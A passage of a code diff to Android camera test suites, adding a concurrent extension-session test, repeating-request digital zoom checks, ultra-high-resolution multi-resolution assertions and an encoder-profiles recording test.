+            CameraDevice concurrentCameraDevice = null;
+            ImageReader extensionImageReader = null;
+            try {
+                mTestRule.openDevice(id);
+                CameraDevice camera = mTestRule.getCamera();
+                camera.createExtensionSession(configuration);
+                CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                        SESSION_CONFIGURE_TIMEOUT_MS);
+                assertNotNull(extensionSession);
+
+                concurrentCameraDevice = CameraTestUtils.openCamera(mTestRule.getCameraManager(),
+                        concurrentCameraId, new BlockingStateCallback(), mTestRule.getHandler());
+                assertNotNull(concurrentCameraDevice);
+                int concurrentExtensionId =
+                        concurrentExtensionChars.getSupportedExtensions().get(0);
+                List<Size> captureSizes = concurrentExtensionChars.getExtensionSupportedSizes(
+                        concurrentExtensionId, mSurfaceTexture.getClass());
+                assertFalse("No SurfaceTexture output supported", captureSizes.isEmpty());
+                Size captureMaxSize =
+                        CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
+
+                extensionImageReader = ImageReader.newInstance(
+                        captureMaxSize.getWidth(), captureMaxSize.getHeight(), ImageFormat.PRIVATE,
+                        /*maxImages*/ 1, HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE);
+                Surface imageReaderSurface = extensionImageReader.getSurface();
+                OutputConfiguration readerOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                outputConfigs = new ArrayList<>();
+                outputConfigs.add(readerOutput);
+                CameraExtensionSession.StateCallback mockSessionListener =
+                        mock(CameraExtensionSession.StateCallback.class);
+                ExtensionSessionConfiguration concurrentConfiguration =
+                        new ExtensionSessionConfiguration(concurrentExtensionId, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                mockSessionListener);
+                concurrentCameraDevice.createExtensionSession(concurrentConfiguration);
+                // Trying to initialize multiple concurrent extension sessions is expected to fail
+                verify(mockSessionListener, timeout(SESSION_CONFIGURE_TIMEOUT_MS).times(1))
+                        .onConfigureFailed(any(CameraExtensionSession.class));
+                verify(mockSessionListener, times(0)).onConfigured(
+                        any(CameraExtensionSession.class));
+
+                extensionSession.close();
+                sessionListener.getStateWaiter().waitForState(
+                        BlockingExtensionSessionCallback.SESSION_CLOSED,
+                        SESSION_CLOSE_TIMEOUT_MS);
+
+                // Initialization of another extension session must now be possible
+                BlockingExtensionSessionCallback concurrentSessionListener =
+                        new BlockingExtensionSessionCallback(
+                                mock(CameraExtensionSession.StateCallback.class));
+                concurrentConfiguration = new ExtensionSessionConfiguration(concurrentExtensionId,
+                        outputConfigs, new HandlerExecutor(mTestRule.getHandler()),
+                        concurrentSessionListener);
+                concurrentCameraDevice.createExtensionSession(concurrentConfiguration);
+                extensionSession = concurrentSessionListener.waitAndGetSession(
+                        SESSION_CONFIGURE_TIMEOUT_MS);
+                assertNotNull(extensionSession);
+                extensionSession.close();
+                concurrentSessionListener.getStateWaiter().waitForState(
+                        BlockingExtensionSessionCallback.SESSION_CLOSED,
+                        SESSION_CLOSE_TIMEOUT_MS);
+            } finally {
+                mTestRule.closeDevice(id);
+                if (concurrentCameraDevice != null) {
+                    concurrentCameraDevice.close();
+                }
+                if (extensionImageReader != null) {
+                    extensionImageReader.close();
+                }
+            }
+        }
+    }
+
     // Test case combined repeating with multi frame capture on all supported extensions.
     // Verify still frame output.
     @Test
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 1ca6107..2534ba6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,7 +86,7 @@
     private static final long EXPOSURE_TIME_BOUNDARY_60HZ_NS = 8333333L; // 8.3ms, Approximation.
     private static final long EXPOSURE_TIME_ERROR_MARGIN_NS = 100000L; // 100us, Approximation.
     private static final float EXPOSURE_TIME_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
-    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
+    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.06f; // 6%, Approximation.
     private static final int DEFAULT_NUM_EXPOSURE_TIME_STEPS = 3;
     private static final int DEFAULT_NUM_SENSITIVITY_STEPS = 8;
     private static final int DEFAULT_SENSITIVITY_STEP_SIZE = 100;
@@ -816,7 +816,8 @@
                 }
                 openDevice(id);
                 Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-                digitalZoomTestByCamera(maxPreviewSize);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/false);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/true);
             } finally {
                 closeDevice();
             }
@@ -2562,7 +2563,7 @@
         stopPreview();
     }
 
-    private void digitalZoomTestByCamera(Size previewSize) throws Exception {
+    private void digitalZoomTestByCamera(Size previewSize, boolean repeating) throws Exception {
         final int ZOOM_STEPS = 15;
         final PointF[] TEST_ZOOM_CENTERS;
         final float maxZoom = mStaticInfo.getAvailableMaxDigitalZoomChecked();
@@ -2649,6 +2650,7 @@
         };
 
         final int CAPTURE_SUBMIT_REPEAT;
+        final int NUM_RESULTS_TO_SKIP;
         {
             int maxLatency = mStaticInfo.getSyncMaxLatency();
             if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
@@ -2656,6 +2658,11 @@
             } else {
                 CAPTURE_SUBMIT_REPEAT = maxLatency + 1;
             }
+            if (repeating) {
+                NUM_RESULTS_TO_SKIP = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+            } else {
+                NUM_RESULTS_TO_SKIP = CAPTURE_SUBMIT_REPEAT - 1;
+            }
         }
 
         if (VERBOSE) {
@@ -2680,21 +2687,29 @@
                     if (VERBOSE) {
                         Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
                                 center + " The cropRegion is " + cropRegions[i] +
-                                " Preview size is " + previewSize);
+                                " Preview size is " + previewSize + ", repeating is " + repeating);
                     }
                     requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]);
                     requests[i] = requestBuilder.build();
-                    for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
-                        if (VERBOSE) {
-                            Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    if (VERBOSE) {
+                        Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    }
+                    if (repeating) {
+                        mSession.setRepeatingRequest(requests[i], listener, mHandler);
+                        // Drop first few frames
+                        waitForNumResults(listener, NUM_RESULTS_TO_SKIP);
+                        // Interleave a regular capture
+                        mSession.capture(requests[0], listener, mHandler);
+                    } else {
+                        for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
+                            mSession.capture(requests[i], listener, mHandler);
                         }
-                        mSession.capture(requests[i], listener, mHandler);
                     }
 
                     /*
                      * Validate capture result
                      */
-                    waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
+                    waitForNumResults(listener, NUM_RESULTS_TO_SKIP); // Drop first few frames
                     TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                             requests[i], NUM_RESULTS_WAIT_TIMEOUT);
                     List<CaptureResult> partialResults = result.getPartialResults();
@@ -2756,7 +2771,7 @@
 
                 if (maxZoom > 1.0f) {
                     mCollector.expectTrue(
-                            String.format("Most zoomed-in crop region should be smaller" +
+                            String.format("Most zoomed-in crop region should be smaller " +
                                             "than active array w/h" +
                                             "(last crop = %s, active array = %s)",
                                             previousCrop, activeArraySize),
@@ -2955,7 +2970,7 @@
             }
 
             aspectRatiosTested.add(aspectRatio);
-            digitalZoomTestByCamera(size);
+            digitalZoomTestByCamera(size, /*repeating*/false);
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 892ae0c..a5b5169 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -246,7 +246,7 @@
                 testSample.combination.getStreamsInformation(), testSample.targets,
                 outputConfigs, testSample.outputSurfaces, MIN_RESULT_COUNT,
                 testSample.substituteY8, /*substituteHEIC*/false, /*physicalCameraId*/null,
-                /*ultraHighResolution*/false, /*multiResStreamConfig*/null, mHandler);
+                /*multiResStreamConfig*/null, mHandler);
             for (OutputConfiguration c : outputConfigs) {
                 testSample.outputConfigs.add(c);
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index a1030a0..93826cb 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -92,6 +92,7 @@
 
     private static final double FRAME_DURATION_THRESHOLD = 0.03;
     private static final double FOV_THRESHOLD = 0.03;
+    private static final double ZOOM_RATIO_THRESHOLD = 0.01;
     private static final long MAX_TIMESTAMP_DIFFERENCE_THRESHOLD = 10000000; // 10ms
 
     private StateWaiter mSessionWaiter;
@@ -1026,6 +1027,10 @@
             SizeF physicalSensorSize = mStaticInfo.getValueFromKeyNonNull(
                     CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
+            // Physical result metadata's ZOOM_RATIO is 1.0f.
+            assertTrue("Physical result metadata ZOOM_RATIO should be 1.0f, but is " +
+                    physicalZoomRatio, Math.abs(physicalZoomRatio - 1.0f) < ZOOM_RATIO_THRESHOLD);
+
             double physicalFov = 2 * Math.toDegrees(Math.atan2(
                     physicalSensorSize.getWidth() * physicalCropRegion.width() /
                     (2 * physicalZoomRatio * physicalActiveArraySize.width()), physicalFocalLength));
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
index 9ec5e70..35edd77 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
@@ -94,7 +94,7 @@
     private SimpleMultiResolutionImageReaderListener mListener;
 
     @Test
-    public void testMultiResolutionCaptureCharacteristics() {
+    public void testMultiResolutionCaptureCharacteristics() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             if (VERBOSE) {
                 Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id);
@@ -108,6 +108,7 @@
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean isLogicalCamera = CameraTestUtils.contains(capabilities,
                     CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA);
+            boolean isUltraHighResCamera = info.isUltraHighResolutionSensor();
             Set<String> physicalCameraIds = c.getPhysicalCameraIds();
 
             MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
@@ -122,9 +123,9 @@
             }
 
             int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
-            //TODO: Handle ultra high resolution sensor camera
-            assertTrue("Camera " + id + " must be a logical multi-camera "
-                    + "to support multi-resolution capture.", isLogicalCamera);
+            assertTrue("Camera " + id + " must be a logical multi-camera or ultra high res camera "
+                    + "to support multi-resolution capture.",
+                    isLogicalCamera || isUltraHighResCamera);
 
             for (int format : multiResolutionOutputFormats) {
                 assertTrue(String.format("Camera %s: multi-resolution output format %d "
@@ -142,29 +143,37 @@
                 // for that format.
                 for (MultiResolutionStreamInfo streamInfo : multiResolutionStreams) {
                     String physicalCameraId = streamInfo.getPhysicalCameraId();
-                    int width = streamInfo.getWidth();
-                    int height = streamInfo.getHeight();
-                    assertTrue("Camera " + id + "'s multi-resolution output info " +
-                            "physical camera id " + physicalCameraId + "isn't valid",
-                            physicalCameraIds.contains(physicalCameraId));
+                    Size streamSize = new Size(streamInfo.getWidth(), streamInfo.getHeight());
+                    if (!isLogicalCamera) {
+                        assertTrue("Camera " + id + " is ultra high resolution camera, but " +
+                                "the multi-resolution stream info camera Id  " + physicalCameraId +
+                                " doesn't match", physicalCameraId.equals(id));
+                    } else {
+                        assertTrue("Camera " + id + "'s multi-resolution output info " +
+                                "physical camera id " + physicalCameraId + " isn't valid",
+                                physicalCameraIds.contains(physicalCameraId));
+                    }
 
-                    StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
-                    CameraCharacteristics pChar = pInfo.getCharacteristics();
-                    StreamConfigurationMap pConfig = pChar.get(
-                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-                    Size[] sizes = pConfig.getOutputSizes(format);
-
-                    assertTrue(String.format("Camera %s physical camera %s must "
+                    Size[] sizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager);
+                    assertTrue(String.format("Camera %s must "
                             + "support at least one output size for output "
-                            + "format %d.", id, physicalCameraId, format),
+                            + "format %d.", physicalCameraId, format),
                              sizes != null && sizes.length > 0);
 
-                    Size maxSize = CameraTestUtils.getMaxSize(sizes);
+                    List<Size> maxSizes = new ArrayList<Size>();
+                    maxSizes.add(CameraTestUtils.getMaxSize(sizes));
+                    Size[] maxResSizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager, /*maxResolution*/true);
+                    if (maxResSizes != null && maxResSizes.length > 0) {
+                        maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
+                    }
+
                     assertTrue(String.format("Camera %s's supported multi-resolution"
-                           + " size [%d, %d] for physical camera %s is not the largest "
-                           + "supported size [%d, %d] for format %d", id, width, height,
-                           physicalCameraId, maxSize.getWidth(), maxSize.getHeight(), format),
-                           width == maxSize.getWidth() && height == maxSize.getHeight());
+                           + " size %s for physical camera %s is not one of the largest "
+                           + "supported sizes %s for format %d", id, streamSize,
+                           physicalCameraId, maxSizes, format),
+                           maxSizes.contains(streamSize));
                 }
             }
         }
@@ -278,8 +287,8 @@
         StreamCombinationTargets targets = new StreamCombinationTargets();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(),
-                targets, outputConfigs, outputSurfaces, MIN_RESULT_COUNT, /*substituteY8*/false,
-                /*substituteHeic*/false, /*physicalCameraId*/null, /*ultraHighResolution*/false,
+                targets, outputConfigs, outputSurfaces, MIN_RESULT_COUNT,
+                /*substituteY8*/false, /*substituteHeic*/false, /*physicalCameraId*/null,
                 multiResStreamConfig, mHandler);
 
         boolean haveSession = false;
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java
index 5770d11..a18ef7e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java
@@ -104,6 +104,7 @@
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean isLogicalCamera = CameraTestUtils.contains(capabilities,
                     CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA);
+            boolean isUltraHighResCamera = info.isUltraHighResolutionSensor();
             Set<String> physicalCameraIds = c.getPhysicalCameraIds();
 
             MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
@@ -121,9 +122,9 @@
             int[] multiResolutionInputFormats = multiResolutionMap.getInputFormats();
             int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
 
-            //TODO: Handle ultra high resolution sensor camera
-            assertTrue("Camera " + id + " must be a logical multi-camera "
-                    + "to support multi-resolution reprocessing.", isLogicalCamera);
+            assertTrue("Camera " + id + " must be a logical multi-camera or ultra high res camera "
+                    + "to support multi-resolution reprocessing.",
+                    isLogicalCamera || isUltraHighResCamera);
 
             for (int format : multiResolutionInputFormats) {
                 assertTrue(String.format("Camera %s: multi-resolution input format %d "
@@ -141,11 +142,17 @@
                 // for that format.
                 for (MultiResolutionStreamInfo streamInfo : multiResolutionStreams) {
                     String physicalCameraId = streamInfo.getPhysicalCameraId();
-                    int width = streamInfo.getWidth();
-                    int height = streamInfo.getHeight();
-                    assertTrue("Camera " + id + "'s multi-resolution input info "
-                            + "physical camera id " + physicalCameraId + "isn't valid",
-                            physicalCameraIds.contains(physicalCameraId));
+                    Size streamSize = new Size(streamInfo.getWidth(), streamInfo.getHeight());
+                    if (!isLogicalCamera) {
+                        assertTrue("Camera " + id + " is ultra high resolution camera, but "
+                                + "the multi-resolution reprocessing stream info camera Id "
+                                + physicalCameraId + " doesn't match",
+                                physicalCameraId.equals(id));
+                    } else {
+                        assertTrue("Camera " + id + "'s multi-resolution input info "
+                                + "physical camera id " + physicalCameraId + " isn't valid",
+                                physicalCameraIds.contains(physicalCameraId));
+                    }
 
                     StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
                     CameraCharacteristics pChar = pInfo.getCharacteristics();
@@ -153,17 +160,26 @@
                             CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
                     Size[] sizes = pConfig.getInputSizes(format);
 
-                    assertTrue(String.format("Camera %s physical camera %s must "
+                    assertTrue(String.format("Camera %s must "
                             + "support at least one input size for multi-resolution input "
-                            + "format %d.", id, physicalCameraId, format),
+                            + "format %d.", physicalCameraId, format),
                              sizes != null && sizes.length > 0);
 
-                    Size maxSize = CameraTestUtils.getMaxSize(sizes);
+                    List<Size> maxSizes = new ArrayList<Size>();
+                    maxSizes.add(CameraTestUtils.getMaxSize(sizes));
+                    StreamConfigurationMap pMaxResConfig = pChar.get(CameraCharacteristics.
+                            SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
+                    if (pMaxResConfig != null) {
+                        Size[] maxResSizes = pMaxResConfig.getInputSizes(format);
+                        if (maxResSizes != null && maxResSizes.length > 0) {
+                            maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
+                        }
+                    }
+
                     assertTrue(String.format("Camera %s's supported multi-resolution"
-                           + " input size [%d, %d] for physical camera %s is not the largest "
-                           + "supported input size [%d, %d] for format %d", id, width, height,
-                           physicalCameraId, maxSize.getWidth(), maxSize.getHeight(), format),
-                           width == maxSize.getWidth() && height == maxSize.getHeight());
+                           + " input size %s for physical camera %s is not one of the largest "
+                           + "supported input sizes %s for format %d", id, streamSize,
+                           physicalCameraId, maxSizes, format), maxSizes.contains(streamSize));
                 }
             }
 
@@ -329,7 +345,7 @@
         CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
                 targets, outputConfigs, outputSurfaces, NUM_REPROCESS_CAPTURES_PER_CONFIG,
                 /*substituteY8*/false, /*substituteHeic*/false, /*physicalCameraId*/null,
-                /*ultraHighResolution*/false, multiResStreamConfig, mHandler);
+                multiResStreamConfig, mHandler);
 
         Collection<MultiResolutionStreamInfo> multiResInputs =
                 multiResStreamConfig.getInputInfo(inputFormat);
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 9009f9f..14032da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -296,7 +296,7 @@
         testSingleCaptureForFormat(JPEG_FORMAT, "jpeg", /*addPreviewDelay*/ true);
         if (!mTestRule.isPerfMeasure()) {
             int[] YUV_FORMAT = {ImageFormat.YUV_420_888};
-            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false);
+            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ true);
             int[] PRIVATE_FORMAT = {ImageFormat.PRIVATE};
             testSingleCaptureForFormat(PRIVATE_FORMAT, "private", /*addPreviewDelay*/ true);
             int[] RAW_FORMAT = {ImageFormat.RAW_SENSOR};
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 973131c..db1f9a2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -30,6 +30,7 @@
 import android.util.Size;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 import android.media.CamcorderProfile;
+import android.media.EncoderProfiles;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.CodecCapabilities;
@@ -134,6 +135,11 @@
 
     private void doBasicRecording(boolean useVideoStab, boolean useIntermediateSurface)
             throws Exception {
+        doBasicRecording(useVideoStab, useIntermediateSurface, false);
+    }
+
+    private void doBasicRecording(boolean useVideoStab, boolean useIntermediateSurface,
+            boolean useEncoderProfiles) throws Exception {
         for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
                 Log.i(TAG, "Testing basic recording for camera " + mCameraIdsUnderTest[i]);
@@ -164,7 +170,7 @@
                 initSupportedVideoSize(mCameraIdsUnderTest[i]);
 
                 basicRecordingTestByCamera(mCamcorderProfileList, useVideoStab,
-                        useIntermediateSurface);
+                        useIntermediateSurface, useEncoderProfiles);
             } finally {
                 closeDevice();
                 releaseRecorder();
@@ -224,6 +230,25 @@
 
     /**
      * <p>
+     * Test basic camera recording using encoder profiles.
+     * </p>
+     * <p>
+     * This test covers the typical basic use case of camera recording.
+     * MediaRecorder is used to record the audio and video,
+     * EncoderProfiles are used to configure the MediaRecorder. It
+     * goes through the pre-defined CamcorderProfile list, test each
+     * encoder profile combination and validate the recorded video.
+     * Preview is set to the video size.
+     * </p>
+     */
+    @Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
+    public void testBasicEncoderProfilesRecording() throws Exception {
+        doBasicRecording(/*useVideoStab*/false,  /*useIntermediateSurface*/false,
+                /*useEncoderProfiles*/true);
+    }
+
+    /**
+     * <p>
      * Test basic camera recording from a persistent input surface.
      * </p>
      * <p>
@@ -1087,17 +1112,26 @@
         basicRecordingTestByCamera(camcorderProfileList, useVideoStab, false);
     }
 
+    private void basicRecordingTestByCamera(int[] camcorderProfileList, boolean useVideoStab,
+            boolean useIntermediateSurface) throws Exception {
+        basicRecordingTestByCamera(camcorderProfileList, useVideoStab,
+                useIntermediateSurface, false);
+    }
+
     /**
      * Test camera recording by using each available CamcorderProfile for a
      * given camera. preview size is set to the video size.
      */
     private void basicRecordingTestByCamera(int[] camcorderProfileList, boolean useVideoStab,
-            boolean useIntermediateSurface) throws Exception {
+            boolean useIntermediateSurface, boolean useEncoderProfiles) throws Exception {
         Size maxPreviewSize = mOrderedPreviewSizes.get(0);
         List<Range<Integer> > fpsRanges = Arrays.asList(
                 mStaticInfo.getAeAvailableTargetFpsRangesChecked());
         int cameraId = Integer.valueOf(mCamera.getId());
         int maxVideoFrameRate = -1;
+
+        // only validate recording for non-perf measurement runs
+        boolean validateRecording = !isPerfMeasure();
         for (int profileId : camcorderProfileList) {
             if (!CamcorderProfile.hasProfile(cameraId, profileId)) {
                 continue;
@@ -1105,6 +1139,7 @@
 
             CamcorderProfile profile = CamcorderProfile.get(cameraId, profileId);
             Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
+
             Range<Integer> fpsRange = new Range(profile.videoFrameRate, profile.videoFrameRate);
             if (maxVideoFrameRate < profile.videoFrameRate) {
                 maxVideoFrameRate = profile.videoFrameRate;
@@ -1127,53 +1162,36 @@
                     ") must be one of the camera device available FPS range!",
                     fpsRanges.contains(fpsRange));
 
-            if (VERBOSE) {
-                Log.v(TAG, "Testing camera recording with video size " + videoSz.toString());
-            }
 
-            // Configure preview and recording surfaces.
-            mOutMediaFileName = mDebugFileNameBase + "/test_video.mp4";
-            if (DEBUG_DUMP) {
-                mOutMediaFileName = mDebugFileNameBase + "/test_video_" + cameraId + "_"
-                        + videoSz.toString() + ".mp4";
-            }
-
-            prepareRecordingWithProfile(profile, useIntermediateSurface);
-
-            // prepare preview surface by using video size.
-            updatePreviewSurfaceWithVideo(videoSz, profile.videoFrameRate);
-
-            // Start recording
-            SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
-            startRecording(/* useMediaRecorder */true, resultListener, useVideoStab,
-                    useIntermediateSurface);
-
-            // Record certain duration.
-            SystemClock.sleep(RECORDING_DURATION_MS);
-
-            // Stop recording and preview
-            stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
-                    /* stopCameraStreaming */true);
-            // Convert number of frames camera produced into the duration in unit of ms.
-            float frameDurationMs = 1000.0f / profile.videoFrameRate;
-            float durationMs = 0.f;
-            if (useIntermediateSurface) {
-                durationMs = mQueuer.getQueuedCount() * frameDurationMs;
+            if (useEncoderProfiles) {
+                // Iterate through all video-audio codec combination
+                EncoderProfiles profiles = CamcorderProfile.getAll(mCamera.getId(), profileId);
+                for (EncoderProfiles.VideoProfile videoProfile : profiles.getVideoProfiles()) {
+                    boolean hasAudioProfile = false;
+                    for (EncoderProfiles.AudioProfile audioProfile : profiles.getAudioProfiles()) {
+                        hasAudioProfile = true;
+                        doBasicRecordingByProfile(profiles, videoProfile, audioProfile,
+                                useVideoStab, useIntermediateSurface, validateRecording);
+                        // Only measure the default video profile of the largest video
+                        // recording size when measuring perf
+                        if (isPerfMeasure()) {
+                            break;
+                        }
+                    }
+                    // Timelapse profiles do not have audio track
+                    if (!hasAudioProfile) {
+                        doBasicRecordingByProfile(profiles, videoProfile, /* audioProfile */null,
+                                useVideoStab, useIntermediateSurface, validateRecording);
+                    }
+                }
             } else {
-                durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
-            }
-
-            if (VERBOSE) {
-                Log.v(TAG, "video frame rate: " + profile.videoFrameRate +
-                                ", num of frames produced: " + resultListener.getTotalNumFrames());
+                doBasicRecordingByProfile(
+                        profile, useVideoStab, useIntermediateSurface, validateRecording);
             }
 
             if (isPerfMeasure()) {
                 // Only measure the largest video recording size when measuring perf
                 break;
-            } else {
-                // Validation.
-                validateRecording(videoSz, durationMs, frameDurationMs, FRMDRP_RATE_TOLERANCE);
             }
         }
         if (maxVideoFrameRate != -1) {
@@ -1183,6 +1201,94 @@
         }
     }
 
+    private void doBasicRecordingByProfile(
+            CamcorderProfile profile, boolean userVideoStab,
+            boolean useIntermediateSurface, boolean validate) throws Exception {
+        Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
+        int frameRate = profile.videoFrameRate;
+
+        if (VERBOSE) {
+            Log.v(TAG, "Testing camera recording with video size " + videoSz.toString());
+        }
+
+        // Configure preview and recording surfaces.
+        mOutMediaFileName = mDebugFileNameBase + "/test_video.mp4";
+        if (DEBUG_DUMP) {
+            mOutMediaFileName = mDebugFileNameBase + "/test_video_" + mCamera.getId() + "_"
+                    + videoSz.toString() + ".mp4";
+        }
+
+        setupMediaRecorder(profile);
+        completeBasicRecording(videoSz, frameRate, userVideoStab, useIntermediateSurface, validate);
+    }
+
+    private void doBasicRecordingByProfile(
+            EncoderProfiles profiles,
+            EncoderProfiles.VideoProfile videoProfile, EncoderProfiles.AudioProfile audioProfile,
+            boolean userVideoStab, boolean useIntermediateSurface, boolean validate)
+                    throws Exception {
+        Size videoSz = new Size(videoProfile.getWidth(), videoProfile.getHeight());
+        int frameRate = videoProfile.getFrameRate();
+
+        if (VERBOSE) {
+            Log.v(TAG, "Testing camera recording with video size " + videoSz.toString() +
+                  ", video codec " + videoProfile.getMediaType() + ", and audio codec " +
+                  (audioProfile == null ? "(null)" : audioProfile.getMediaType()));
+        }
+
+        // Configure preview and recording surfaces.
+        mOutMediaFileName = mDebugFileNameBase + "/test_video.mp4";
+        if (DEBUG_DUMP) {
+            mOutMediaFileName = mDebugFileNameBase + "/test_video_" + mCamera.getId() + "_"
+                    + videoSz.toString() + "_" + videoProfile.getCodec();
+            if (audioProfile != null) {
+                mOutMediaFileName += "_" + audioProfile.getCodec();
+            }
+            mOutMediaFileName += ".mp4";
+        }
+
+        setupMediaRecorder(profiles, videoProfile, audioProfile);
+        completeBasicRecording(videoSz, frameRate, userVideoStab, useIntermediateSurface, validate);
+    }
+
+    private void completeBasicRecording(
+            Size videoSz, int frameRate, boolean useVideoStab,
+            boolean useIntermediateSurface, boolean validate) throws Exception {
+        prepareRecording(useIntermediateSurface);
+
+        // prepare preview surface by using video size.
+        updatePreviewSurfaceWithVideo(videoSz, frameRate);
+
+        // Start recording
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        startRecording(/* useMediaRecorder */true, resultListener, useVideoStab,
+                useIntermediateSurface);
+
+        // Record certain duration.
+        SystemClock.sleep(RECORDING_DURATION_MS);
+
+        // Stop recording and preview
+        stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
+                /* stopCameraStreaming */true);
+        // Convert number of frames camera produced into the duration in unit of ms.
+        float frameDurationMs = 1000.0f / frameRate;
+        float durationMs = 0.f;
+        if (useIntermediateSurface) {
+            durationMs = mQueuer.getQueuedCount() * frameDurationMs;
+        } else {
+            durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
+        }
+
+        if (VERBOSE) {
+            Log.v(TAG, "video frame rate: " + frameRate +
+                            ", num of frames produced: " + resultListener.getTotalNumFrames());
+        }
+
+        if (validate) {
+            validateRecording(videoSz, durationMs, frameDurationMs, FRMDRP_RATE_TOLERANCE);
+        }
+    }
+
     /**
      * Test camera recording for each supported video size by camera, preview
      * size is set to the video size.
@@ -1684,9 +1790,39 @@
     private void prepareRecordingWithProfile(CamcorderProfile profile,
             boolean useIntermediateSurface) throws Exception {
         // Prepare MediaRecorder.
+        setupMediaRecorder(profile);
+        prepareRecording(useIntermediateSurface);
+    }
+
